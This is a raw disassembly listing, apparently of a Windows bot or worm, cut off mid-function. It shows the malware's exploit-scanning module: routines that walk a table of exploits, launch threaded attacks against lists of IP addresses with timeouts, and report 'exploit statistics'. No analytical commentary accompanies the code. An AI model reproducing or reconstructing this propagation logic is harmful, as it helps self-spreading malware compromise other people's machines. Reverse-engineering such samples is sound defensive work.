loc_40EEAF:				; CODE XREF: sub_40EE23+84j
		imul	esi, 3Ah
		push	3Ah
		lea	eax, [ebp+var_43C]
		lea	esi, dword_417D98[esi]
		push	esi
		push	eax
		mov	[ebp+var_440], esi
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_43C]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_429]
		push	eax
		call	sub_40B5E1
		and	[ebp+var_37E], 0
		lea	eax, [ebp+var_429]
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 1Ch


loc_40EF02:				; CODE XREF: sub_40EE23+50j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_405D8C
		test	eax, eax
		pop	ecx
		jz	short loc_40EF79
		mov	dl, byte_4191D0
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_53F]
		mov	[ebp+var_540], dl
		rep stosd
		stosw
		stosb
		push	3Fh
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_63F]
		mov	[ebp+var_640], dl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_640]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		call	sub_405C9C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40EF79
		push	[ebp+var_1D2]
		call	sub_40396E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40EF8C


loc_40EF79:				; CODE XREF: sub_40EE23+EEj
					; sub_40EE23+141j
		push	[ebp+var_2F4]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		jmp	loc_40F2BC
; ---------------------------------------------------------------------------


loc_40EF8C:				; CODE XREF: sub_40EE23+154j
		mov	eax, [ebp+var_440]
		push	ebx
		test	eax, eax
		jz	loc_40F02E
		test	byte ptr [eax+32h], 1
		jz	loc_40F02E
		call	sub_403338
		mov	ecx, eax
		push	2
		neg	ecx
		sbb	ecx, ecx
		pop	edx
		add	ecx, 3
		cmp	[ebp+var_37], 0
		mov	[ebp+var_37E], ecx
		jz	short loc_40EFD6
		mov	esi, [ebp+var_440]
		test	[esi+32h], dl
		jnz	short loc_40EFD6
		push	1
		pop	ecx
		mov	[ebp+var_37E], ecx


loc_40EFD6:				; CODE XREF: sub_40EE23+19Dj
					; sub_40EE23+1A8j
		cmp	[ebp+var_47], 0
		jz	short loc_40EFE4
		mov	ecx, edx
		mov	[ebp+var_37E], ecx


loc_40EFE4:				; CODE XREF: sub_40EE23+1B7j
		cmp	[ebp+var_46], 0
		jz	short loc_40EFF3
		push	3
		pop	ecx
		mov	[ebp+var_37E], ecx


loc_40EFF3:				; CODE XREF: sub_40EE23+1C5j
		cmp	ecx, 3
		jnz	short loc_40F02E
		test	eax, eax
		jz	short loc_40F004
		mov	[ebp+var_37E], edx
		jmp	short loc_40F02E
; ---------------------------------------------------------------------------


loc_40F004:				; CODE XREF: sub_40EE23+1D7j
		mov	al, [ebp+var_43]
		mov	bl, [ebp+var_36]
		and	[ebp+var_43], 0
		mov	byte ptr [ebp+arg_0+3],	al
		lea	eax, [ebp+var_1CE]
		push	0
		push	eax
		mov	[ebp+var_36], 1
		call	sub_40EA2F
		mov	al, byte ptr [ebp+arg_0+3]
		pop	ecx
		pop	ecx
		mov	[ebp+var_36], bl
		mov	[ebp+var_43], al


loc_40F02E:				; CODE XREF: sub_40EE23+172j
					; sub_40EE23+17Cj ...
		mov	esi, offset dword_419678
		push	esi
		call	sub_407200
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	[ebp+var_1DA]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		mov	eax, [ebp+var_2F4]
		add	eax, 14h
		push	offset dword_418230
		push	eax
		call	sub_4114DC	; sprintf
		push	esi
		call	sub_40720B
		add	esp, 18h
		lea	eax, [ebp+var_1E8]
		push	[ebp+var_1DA]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		mov	eax, [ebp+var_2F4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1CE]
		push	offset dword_4181F8
		push	eax
		call	sub_4096CB
		xor	ebx, ebx
		add	esp, 18h
		cmp	[ebp+var_440], ebx
		mov	esi, 3E8h
		jnz	short loc_40F0B1
		push	esi
		call	dword_4120A4	; Sleep


loc_40F0B1:				; CODE XREF: sub_40EE23+285j
		mov	[ebp+var_8], ebx
		call	sub_4114E2	; clock
		mov	[ebp+var_C], eax
		mov	[ebp+arg_0], ebx


loc_40F0BF:				; CODE XREF: sub_40EE23+30Fj
					; sub_40EE23+34Cj ...
		mov	eax, [ebp+var_2F4]
		cmp	[eax+4], ebx
		jnz	loc_40F265
		mov	edi, [ebp+arg_0]
		sub	edi, [ebp+var_C]
		call	sub_4114E2	; clock
		mov	ecx, [ebp+var_1DA]
		add	eax, edi
		imul	ecx, 3E8h
		cmp	eax, ecx
		jnb	loc_40F265
		lea	eax, [ebp+var_640]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_640]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		call	sub_405C9C
		lea	eax, [ebp+var_540]
		push	offset dword_41A2E8
		push	eax
		call	sub_41177E	; strcmp
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_40F0BF
		push	[ebp+var_4]
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_540]
		push	eax
		call	sub_403B44
		add	esp, 0Ch
		push	eax
		call	sub_403996
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F175
		call	sub_4114E2	; clock
		mov	ecx, [ebp+var_1DA]
		add	eax, edi
		imul	ecx, 3E8h
		cmp	eax, ecx
		jb	loc_40F0BF


loc_40F175:				; CODE XREF: sub_40EE23+335j
		push	[ebp+var_1D6]
		call	dword_4120A4	; Sleep
		push	[ebp+var_4]
		call	sub_403A1B
		test	eax, eax
		pop	ecx
		jz	loc_40F255


loc_40F192:				; CODE XREF: sub_40EE23+39Fj
					; sub_40EE23+3DAj ...
		push	[ebp+var_4]
		call	sub_403AB5
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_40F255
		inc	[ebp+var_8]
		cmp	[ebp+var_440], 0
		jz	short loc_40F1FF
		mov	edi, 14Ch
		push	edi
		call	sub_4114C4	; malloc
		test	eax, eax
		pop	ecx
		mov	dword ptr [ebp+var_14+4], eax
		jz	short loc_40F192
		lea	ecx, [ebp+var_440]
		push	edi
		push	ecx
		push	eax
		call	sub_4114D0	; memcpy
		mov	edi, dword ptr [ebp+var_14+4]
		push	edi
		push	offset sub_40ECD6
		mov	[edi+3Eh], ebx
		call	sub_406C5D
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40F1F2
		push	edi
		call	sub_4114CA	; free
		jmp	short loc_40F1FC
; ---------------------------------------------------------------------------


loc_40F1F2:				; CODE XREF: sub_40EE23+3C5j
		push	[ebp+var_4]
		push	ebx
		call	sub_4039C6
		pop	ecx


loc_40F1FC:				; CODE XREF: sub_40EE23+3CDj
		pop	ecx
		jmp	short loc_40F192
; ---------------------------------------------------------------------------


loc_40F1FF:				; CODE XREF: sub_40EE23+38Cj
		mov	eax, [ebp+var_2F4]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40F255
		lea	eax, [ebp+var_740]
		push	eax
		push	ebx
		call	sub_4034DE
		pop	ecx
		mov	bl, [ebp+var_36]
		pop	ecx
		lea	eax, [ebp+var_1E8]
		and	[ebp+var_36], 0
		push	eax
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_1CE]
		push	offset dword_4181E4
		push	eax
		call	sub_4096CB
		add	esp, 10h
		mov	[ebp+var_36], bl
		push	esi
		call	dword_4120A4	; Sleep
		add	[ebp+arg_0], esi
		jmp	loc_40F192
; ---------------------------------------------------------------------------


loc_40F255:				; CODE XREF: sub_40EE23+369j
					; sub_40EE23+37Cj ...
		push	[ebp+var_4]
		call	sub_403AF7
		pop	ecx
		xor	ebx, ebx
		jmp	loc_40F0BF
; ---------------------------------------------------------------------------


loc_40F265:				; CODE XREF: sub_40EE23+2A5j
					; sub_40EE23+2C6j
		push	[ebp+var_8]
		call	sub_4114E2	; clock
		sub	eax, [ebp+var_C]
		mov	dword ptr [ebp+var_14+4], ebx
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_14],	eax
		lea	eax, [ebp+var_1E8]
		fild	[ebp+var_14]
		fmul	flt_412280
		fstp	[esp+758h+var_758]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		lea	eax, [ebp+var_1CE]
		push	offset unk_4181A0
		push	eax
		call	sub_4096CB
		push	[ebp+var_4]
		call	sub_403B2F
		push	[ebp+var_2F4]
		call	sub_406E6F
		add	esp, 24h
		xor	eax, eax
		pop	ebx


loc_40F2BC:				; CODE XREF: sub_40EE23+164j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40EE23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F2C2	proc near		; CODE XREF: sub_407A76+12DDp

var_18		= byte ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_4], ebx
		push	esi
		push	edi
		jz	loc_40F45C
		mov	edi, [ebp+arg_8]
		cmp	edi, ebx
		jz	loc_40F45C
		push	edi
		call	sub_4059F0
		test	al, al
		pop	ecx
		jz	short loc_40F313
		push	edi
		call	sub_4032A7
		test	eax, eax
		pop	ecx
		jz	loc_40F45C


loc_40F2FB:				; CODE XREF: sub_40F2C2+87j
		cmp	[ebp+arg_C], ebx
		mov	esi, 15180h
		jz	short loc_40F35A
		push	[ebp+arg_C]
		call	sub_41151C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		jmp	short loc_40F35D
; ---------------------------------------------------------------------------


loc_40F313:				; CODE XREF: sub_40F2C2+28j
		cmp	byte ptr dword_417D98, 0
		jz	loc_40F45C
		mov	eax, offset dword_417D98
		mov	esi, eax


loc_40F327:				; CODE XREF: sub_40F2C2+91j
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_411924	; _strcmpi
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F2FB
		add	esi, 3Ah
		mov	eax, esi
		cmp	byte ptr [esi],	0
		jnz	short loc_40F327
		jmp	loc_40F45C
; ---------------------------------------------------------------------------


loc_40F35A:				; CODE XREF: sub_40F2C2+41j
		mov	[ebp+var_4], esi


loc_40F35D:				; CODE XREF: sub_40F2C2+4Fj
		cmp	[ebp+var_4], ebx
		jz	short loc_40F367
		cmp	[ebp+var_4], esi
		jbe	short loc_40F36A


loc_40F367:				; CODE XREF: sub_40F2C2+9Ej
		mov	[ebp+var_4], esi


loc_40F36A:				; CODE XREF: sub_40F2C2+A3j
		cmp	[ebp+arg_10], ebx
		mov	esi, 7D0h
		jz	short loc_40F382
		push	[ebp+arg_10]
		call	sub_41151C	; atoi
		pop	ecx
		mov	[ebp+arg_10], eax
		jmp	short loc_40F385
; ---------------------------------------------------------------------------


loc_40F382:				; CODE XREF: sub_40F2C2+B0j
		mov	[ebp+arg_10], esi


loc_40F385:				; CODE XREF: sub_40F2C2+BEj
		cmp	[ebp+arg_10], 32h
		jb	short loc_40F394
		cmp	[ebp+arg_10], 0EA60h
		jbe	short loc_40F397


loc_40F394:				; CODE XREF: sub_40F2C2+C7j
		mov	[ebp+arg_10], esi


loc_40F397:				; CODE XREF: sub_40F2C2+D0j
		cmp	[ebp+arg_14], ebx
		mov	esi, 100h
		jz	short loc_40F3AF
		push	[ebp+arg_14]
		call	sub_41151C	; atoi
		pop	ecx
		mov	[ebp+arg_C], eax
		jmp	short loc_40F3B2
; ---------------------------------------------------------------------------


loc_40F3AF:				; CODE XREF: sub_40F2C2+DDj
		mov	[ebp+arg_C], esi


loc_40F3B2:				; CODE XREF: sub_40F2C2+EBj
		cmp	[ebp+arg_C], ebx
		jz	short loc_40F3C0
		cmp	[ebp+arg_C], 200h
		jbe	short loc_40F3C3


loc_40F3C0:				; CODE XREF: sub_40F2C2+F3j
		mov	[ebp+arg_C], esi


loc_40F3C3:				; CODE XREF: sub_40F2C2+FCj
		push	2C9h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jz	loc_40F45C
		push	108h
		lea	edi, [esi+4]
		push	[ebp+arg_4]
		push	edi
		call	sub_4059C2
		push	0Eh
		lea	ebx, [esi+10Ch]
		push	[ebp+arg_8]
		push	ebx
		call	sub_4059C2
		mov	eax, [ebp+var_4]
		push	1A3h
		push	[ebp+arg_0]
		mov	[esi+11Ah], eax
		mov	eax, [ebp+arg_10]
		mov	[esi+11Eh], eax
		mov	eax, [ebp+arg_C]
		mov	[esi+122h], eax
		lea	eax, [esi+126h]
		push	eax
		call	sub_4114D0	; memcpy
		mov	ecx, [ebp+arg_0]
		add	esp, 24h
		xor	eax, eax
		push	[ebp+arg_C]
		cmp	[ecx+18Bh], al
		push	[ebp+arg_10]
		setz	al
		push	dword ptr [esi+11Ah]
		push	ebx
		push	edi
		push	offset unk_41825C
		push	eax
		push	esi
		push	offset sub_40EE23
		call	sub_406D58
		add	esp, 24h


loc_40F45C:				; CODE XREF: sub_40F2C2+Ej
					; sub_40F2C2+19j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F2C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F461	proc near		; DATA XREF: sub_40F6CD+4Bo

var_488		= dword	ptr -488h
var_484		= byte ptr -484h
var_304		= byte ptr -304h
var_17D		= byte ptr -17Dh
var_17C		= byte ptr -17Ch
var_179		= byte ptr -179h
var_16D		= byte ptr -16Dh
var_16C		= byte ptr -16Ch
var_16B		= byte ptr -16Bh
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_149		= byte ptr -149h
var_9E		= dword	ptr -9Eh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 488h
		push	ebx
		push	esi
		push	edi
		push	327h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_488]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		mov	eax, [ebp+var_488]
		add	esp, 10h
		push	dword ptr [eax]
		lea	eax, [ebp+var_304]
		push	offset unk_418308
		push	eax
		call	sub_4096CB
		lea	eax, [ebp+var_14]
		xor	edi, edi
		push	eax
		lea	eax, [ebp+var_484]
		push	offset dword_413F54
		push	eax
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edi
		call	sub_405E4F
		add	esp, 18h
		mov	[ebp+var_10], eax


loc_40F4C8:				; CODE XREF: sub_40F461+236j
		inc	[ebp+var_C]
		cmp	off_417DC6, edi
		jz	loc_40F675
		mov	[ebp+var_4], offset dword_417D98


loc_40F4DE:				; CODE XREF: sub_40F461+20Ej
		mov	esi, [ebp+var_4]
		push	3Ah
		lea	eax, [ebp+var_15C]
		push	esi
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_15C]
		mov	[ebp+var_160], esi
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_149]
		push	eax
		call	sub_40B5E1
		mov	eax, [ebp+var_160]
		add	esp, 14h
		cmp	eax, edi
		jz	loc_40F5CF
		test	byte ptr [eax+32h], 1
		jz	loc_40F5CF
		call	sub_403338
		mov	ecx, eax
		neg	ecx
		sbb	ecx, ecx
		add	ecx, 3
		cmp	[ebp+var_16D], 0
		mov	[ebp+var_9E], ecx
		jz	short loc_40F55B
		mov	edx, [ebp+var_160]
		test	byte ptr [edx+32h], 2
		jnz	short loc_40F55B
		push	1
		pop	ecx
		mov	[ebp+var_9E], ecx


loc_40F55B:				; CODE XREF: sub_40F461+E3j
					; sub_40F461+EFj
		cmp	[ebp+var_17D], 0
		jz	short loc_40F56D
		push	2
		pop	ecx
		mov	[ebp+var_9E], ecx


loc_40F56D:				; CODE XREF: sub_40F461+101j
		cmp	[ebp+var_17C], 0
		jz	short loc_40F57F
		push	3
		pop	ecx
		mov	[ebp+var_9E], ecx


loc_40F57F:				; CODE XREF: sub_40F461+113j
		cmp	ecx, 3
		jnz	short loc_40F5CF
		cmp	eax, edi
		jz	short loc_40F594
		mov	[ebp+var_9E], 2
		jmp	short loc_40F5CF
; ---------------------------------------------------------------------------


loc_40F594:				; CODE XREF: sub_40F461+125j
		mov	al, [ebp+var_179]
		mov	bl, [ebp+var_16C]
		and	[ebp+var_179], 0
		mov	byte ptr [ebp+arg_0+3],	al
		lea	eax, [ebp+var_304]
		push	edi
		push	eax
		mov	[ebp+var_16C], 1
		call	sub_40EA2F
		mov	al, byte ptr [ebp+arg_0+3]
		pop	ecx
		pop	ecx
		mov	[ebp+var_16C], bl
		mov	[ebp+var_179], al


loc_40F5CF:				; CODE XREF: sub_40F461+B8j
					; sub_40F461+C2j ...
		mov	cl, [ebp+var_16B]
		mov	eax, 1388h
		neg	cl
		sbb	ecx, ecx
		and	ecx, eax
		add	ecx, eax
		lea	eax, [ebp+var_149]
		push	ecx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	sub_403C04
		mov	ebx, eax
		add	esp, 10h
		cmp	ebx, edi
		jz	short loc_40F665
		push	14Ch
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	short loc_40F665
		lea	eax, [ebp+var_160]
		push	14Ch
		push	eax
		push	esi
		call	sub_4114D0	; memcpy
		inc	[ebp+var_8]
		push	esi
		push	offset sub_40ECD6
		mov	[esi+3Eh], ebx
		call	sub_406C5D
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40F647
		push	ebx
		call	sub_403D92
		push	esi
		call	sub_4114CA	; free
		pop	ecx
		pop	ecx
		jmp	short loc_40F665
; ---------------------------------------------------------------------------


loc_40F647:				; CODE XREF: sub_40F461+1D4j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_304]
		push	[ebp+var_10]
		push	offset dword_4182D8
		push	eax
		call	sub_4096CB
		add	esp, 10h


loc_40F665:				; CODE XREF: sub_40F461+199j
					; sub_40F461+1AAj ...
		add	[ebp+var_4], 3Ah
		mov	eax, [ebp+var_4]
		cmp	[eax+2Eh], edi
		jnz	loc_40F4DE


loc_40F675:				; CODE XREF: sub_40F461+70j
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_413F54
		push	edi
		call	sub_405E4F
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		cmp	eax, edi
		mov	eax, [ebp+var_488]
		jz	short loc_40F69D
		cmp	[eax+4], edi
		jz	loc_40F4C8


loc_40F69D:				; CODE XREF: sub_40F461+231j
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	dword ptr [eax]
		lea	eax, [ebp+var_304]
		push	offset dword_418294
		push	eax
		call	sub_4096CB
		push	[ebp+var_488]
		call	sub_406E6F
		add	esp, 18h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40F461	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F6CD	proc near		; CODE XREF: sub_407A76+709p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		push	esi
		jz	short loc_40F725
		push	327h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40F725
		push	180h
		lea	eax, [esi+4]
		push	[esp+8+arg_4]
		push	eax
		call	sub_4059C2
		push	1A3h
		lea	eax, [esi+184h]
		push	[esp+14h+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 18h
		push	offset aAttemptingToEx ; "Attempting to	exploit	IP's in list."
		push	0
		push	esi
		push	offset sub_40F461
		call	sub_406D58
		add	esp, 10h


loc_40F725:				; CODE XREF: sub_40F6CD+6j
					; sub_40F6CD+17j
		pop	esi
		retn
sub_40F6CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F727	proc near		; DATA XREF: sub_40F7FD+29o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_3BC]
		push	offset aExploitStatist ; "Exploit statistics - "
		push	eax
		call	sub_4114B8	; _mbscpy
		xor	ebx, ebx
		add	esp, 18h
		cmp	byte ptr dword_417D98, bl
		jz	short loc_40F7D2
		push	esi
		mov	esi, offset dword_417D98
		mov	eax, esi


loc_40F773:				; CODE XREF: sub_40F727+A8j
		push	12h
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4059C2
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_4114EE	; _mbscat
		add	esp, 18h
		lea	eax, [ebp+var_3BC]
		push	dword ptr [esi+2Ah]
		push	offset dword_41835C
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_3BC]
		push	eax
		call	sub_4114DC	; sprintf
		add	esp, 0Ch
		cmp	[ebp+var_21], bl
		jz	short loc_40F7C8
		mov	[esi+2Ah], ebx


loc_40F7C8:				; CODE XREF: sub_40F727+9Cj
		add	esi, 3Ah
		mov	eax, esi
		cmp	[esi], bl
		jnz	short loc_40F773
		pop	esi


loc_40F7D2:				; CODE XREF: sub_40F727+42j
		lea	eax, [ebp+var_3BC]
		mov	[ebp+var_20], bl
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_4096CB
		push	[ebp+var_1BC]
		call	sub_406E6F
		add	esp, 0Ch
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40F727	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F7FD	proc near		; CODE XREF: sub_407A76+746p

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40F833
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aListingExploit ; "Listing exploit statistics"
		push	0
		push	esi
		push	offset sub_40F727
		call	sub_406D58
		add	esp, 10h


loc_40F833:				; CODE XREF: sub_40F7FD+10j
		pop	esi
		retn
sub_40F7FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F835	proc near		; DATA XREF: sub_40F908+AFo

var_2B4		= dword	ptr -2B4h
var_2B0		= byte ptr -2B0h
var_1B0		= byte ptr -1B0h
var_1AA		= dword	ptr -1AAh
var_1A6		= byte ptr -1A6h
var_E		= byte ptr -0Eh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2B4h
		push	esi
		push	2B1h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		call	sub_4114E2	; clock
		push	[ebp+var_1AA]
		mov	esi, eax
		lea	eax, [ebp+var_1B0]
		push	0
		push	eax
		lea	eax, [ebp+var_2B0]
		push	eax
		call	sub_403C04
		add	esp, 20h
		test	eax, eax
		jz	short loc_40F8B7
		push	eax
		call	sub_403D92
		pop	ecx
		call	sub_4114E2	; clock
		sub	eax, esi
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		lea	eax, [ebp+var_2B0]
		push	eax
		lea	eax, [ebp+var_1A6]
		push	offset dword_418408
		push	eax
		call	sub_4096CB
		add	esp, 14h
		jmp	short loc_40F8F5
; ---------------------------------------------------------------------------


loc_40F8B7:				; CODE XREF: sub_40F835+4Dj
		cmp	[ebp+var_E], 0
		jnz	short loc_40F8F5
		call	sub_4114E2	; clock
		sub	eax, esi
		cmp	eax, [ebp+var_1AA]
		lea	eax, [ebp+var_1B0]
		push	eax
		lea	eax, [ebp+var_2B0]
		push	eax
		jb	short loc_40F8E1
		push	offset dword_4183D0
		jmp	short loc_40F8E6
; ---------------------------------------------------------------------------


loc_40F8E1:				; CODE XREF: sub_40F835+A3j
		push	offset dword_4183A0


loc_40F8E6:				; CODE XREF: sub_40F835+AAj
		lea	eax, [ebp+var_1A6]
		push	eax
		call	sub_4096CB
		add	esp, 10h


loc_40F8F5:				; CODE XREF: sub_40F835+80j
					; sub_40F835+86j
		push	[ebp+var_2B4]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40F835	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F908	proc near		; CODE XREF: sub_407A76+1021p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		jz	loc_40F9C4
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_40F924
		mov	ebx, offset a80	; "80"


loc_40F924:				; CODE XREF: sub_40F908+15j
		push	ebx
		call	sub_41151C	; atoi
		test	eax, eax
		pop	ecx
		jz	loc_40F9C4
		cmp	eax, 0FFFFh
		ja	loc_40F9C4
		cmp	[ebp+arg_C], 0
		jz	short loc_40F951
		push	[ebp+arg_C]
		call	sub_41151C	; atoi
		pop	ecx
		mov	edi, eax
		jmp	short loc_40F956
; ---------------------------------------------------------------------------


loc_40F951:				; CODE XREF: sub_40F908+3Aj
		mov	edi, 0EA60h


loc_40F956:				; CODE XREF: sub_40F908+47j
		test	edi, edi
		jz	short loc_40F9C4
		cmp	edi, 36EE80h
		ja	short loc_40F9C4
		push	2B1h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40F9C4
		push	100h
		lea	eax, [esi+4]
		push	[ebp+arg_4]
		push	eax
		call	sub_4059C2
		push	6
		lea	eax, [esi+104h]
		push	ebx
		push	eax
		call	sub_4059C2
		push	[ebp+arg_0]
		lea	eax, [esi+10Eh]
		mov	[esi+10Ah], edi
		push	eax
		call	sub_40457C
		add	esp, 20h
		push	ebx
		push	[ebp+arg_4]
		push	offset dword_418438
		push	0
		push	esi
		push	offset sub_40F835
		call	sub_406D58
		add	esp, 18h


loc_40F9C4:				; CODE XREF: sub_40F908+Aj
					; sub_40F908+25j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40F908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F9C9	proc near		; DATA XREF: sub_40FBA7+169o

var_2E0		= qword	ptr -2E0h
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2C8h
		push	ebx
		push	2B3h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		push	[ebp+var_1BC]
		mov	ebx, [ebp+var_1C4]
		call	sub_40396E
		add	esp, 14h
		mov	[ebp+arg_0], eax
		test	eax, eax
		jnz	short loc_40FA1D
		push	[ebp+var_2C8]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		jmp	loc_40FBA2
; ---------------------------------------------------------------------------


loc_40FA1D:				; CODE XREF: sub_40F9C9+3Fj
		movzx	eax, word ptr [ebp+var_1C4+2]
		push	esi
		push	edi
		push	[ebp+var_1BC]
		push	eax
		movzx	eax, word ptr [ebp+var_1C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_2C8]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1B8]
		push	offset dword_4184A8
		push	eax
		call	sub_4096CB
		mov	esi, dword_4120A4
		add	esp, 1Ch
		cmp	[ebp+var_20], 0
		mov	edi, 3E8h
		jnz	short loc_40FA6C
		push	edi
		call	esi	; Sleep


loc_40FA6C:				; CODE XREF: sub_40F9C9+9Ej
		call	sub_4114E2	; clock
		and	[ebp+var_8], 0
		mov	[ebp+var_4], eax


loc_40FA78:				; CODE XREF: sub_40F9C9+10Dj
					; sub_40F9C9+186j
		mov	eax, [ebp+var_2C8]
		cmp	dword ptr [eax+4], 0
		jnz	loc_40FB54
		cmp	bx, word ptr [ebp+var_1C4+2]
		ja	loc_40FB54
		lea	eax, [ebp+var_10]
		push	0Ah
